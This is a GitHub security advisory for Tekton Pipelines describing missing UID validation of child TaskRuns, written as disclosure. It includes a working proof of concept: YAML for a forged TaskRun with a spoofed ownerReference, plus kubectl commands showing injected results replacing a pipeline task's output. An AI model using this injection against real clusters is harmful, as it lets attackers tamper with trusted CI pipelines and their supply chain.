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GHSA-w2h3-vvvq-3m53
No affected components available
Summary
Pipelines do not validate child UIDs, which means that a user that has access to create TaskRuns can create their own Tasks that the Pipelines controller will accept as the child Task.
We should add UID to PipelineRun status and validate that child Run status/results only come from Runs matching the same UID.
Details
While we store and validate the PipelineRun's (api version, kind, name, uid) in the child Run's OwnerReference, we only store (api version, kind, name) in the ChildStatusReference .
This means that if a client had access to create TaskRuns on a cluster, they could create a child TaskRun for a pipeline with the same name + owner reference, and the Pipeline controller picks it up as if it was the original TaskRun. This is problematic since it can let users modify the config of Pipelines at runtime, which violates SLSA L2 Service Generated / Non-falsifiable requirements.
I believe this is also true for TaskRuns -> Pods since it looks like we only lookup by name, though I haven't tested this.
If you have update permissions on tekton resources, you could also perform a similar bypass like this (because it's difficult to distinguish this from a Task retry). For now, I think relying on RBAC is fine and treat update as a privileged role (though we should perhaps update docs to stress this). Create is the most problematic for now. SPIFFE/SPIRE might be able to help with ensuring that only the controller can modify state long term (e.g. sign the expected UIDs?)
PoC
apiVersion: [tekton.dev/v1beta1](http://tekton.dev/v1beta1)
kind: PipelineRun
metadata:
name: hello-pr
spec:
pipelineSpec:
tasks:
- name: task1
taskSpec:
steps:
- name: echo
image: [distroless.dev/alpine-base](http://distroless.dev/alpine-base)
script: |
sleep 60
- name: task2
runAfter: [task1]
taskSpec:
steps:
- name: echo
image: [distroless.dev/alpine-base](http://distroless.dev/alpine-base)
script: |
echo "asdf" > $(results.foo.path)
results:
- name: foo
results:
- name: foo
value: $(tasks.task2.results.foo)
Once this is running, grab the PR UID:
$ k get pr hello-pr -o json | jq .metadata.uid -r
While pipeline is running task 1, start fake task 2:
apiVersion: [tekton.dev/v1beta1](http://tekton.dev/v1beta1)
kind: TaskRun
metadata:
annotations:
labels:
[app.kubernetes.io/managed-by](http://app.kubernetes.io/managed-by): tekton-pipelines
[tekton.dev/memberOf](http://tekton.dev/memberOf): tasks
[tekton.dev/pipeline](http://tekton.dev/pipeline): hello-pr
[tekton.dev/pipelineRun](http://tekton.dev/pipelineRun): hello-pr
[tekton.dev/pipelineTask](http://tekton.dev/pipelineTask): task2
name: hello-pr-task2
namespace: default
ownerReferences:
- apiVersion: [tekton.dev/v1beta1](http://tekton.dev/v1beta1)
blockOwnerDeletion: true
controller: true
kind: PipelineRun
name: hello-pr
uid: af549647-4532-468b-90c5-29122a408f8d <--- this should be UID of PR fetched in last step
spec:
serviceAccountName: default
taskSpec:
results:
- name: foo
type: string
steps:
- image: [distroless.dev/alpine-base](http://distroless.dev/alpine-base)
name: echo
resources: {}
script: |
echo "zxcv" > $(results.foo.path)
Get pipeline results - it shows the output of the 2nd injected TaskRun
$ k get pr -o json hello-pr | jq .status.pipelineResults
[
{
"name": "foo",
"value": "zxcv\n"
}
]
Impact
This can be used to trick the Pipeline controller into associating unrelated Runs to the Pipeline, feeding its data through the rest of the Pipeline. This requires access to create TaskRuns, so impact may vary depending on your Tekton setup. If users already have unrestricted access to create any Task/PipelineRun, this does not grant any additional capabilities.
Worst case example would be a supply chain attack where a malicious TaskRun triggered from Triggers/Workflows intercepts and replaces a task in a trusted Pipeline.
The vulnerability can be exploited over the network without needing physical access. It is difficult for an attacker to exploit this vulnerability and may require special conditions. An attacker needs basic access or low-level privileges. The attacker needs the user to perform some action, like clicking a link. The impact is confined to the system where the vulnerability exists. There is a low impact on the confidentiality of the information. There is a low impact on the integrity of the data.
Limited exploitation activity has been observed. Close monitoring and planned remediation are recommended.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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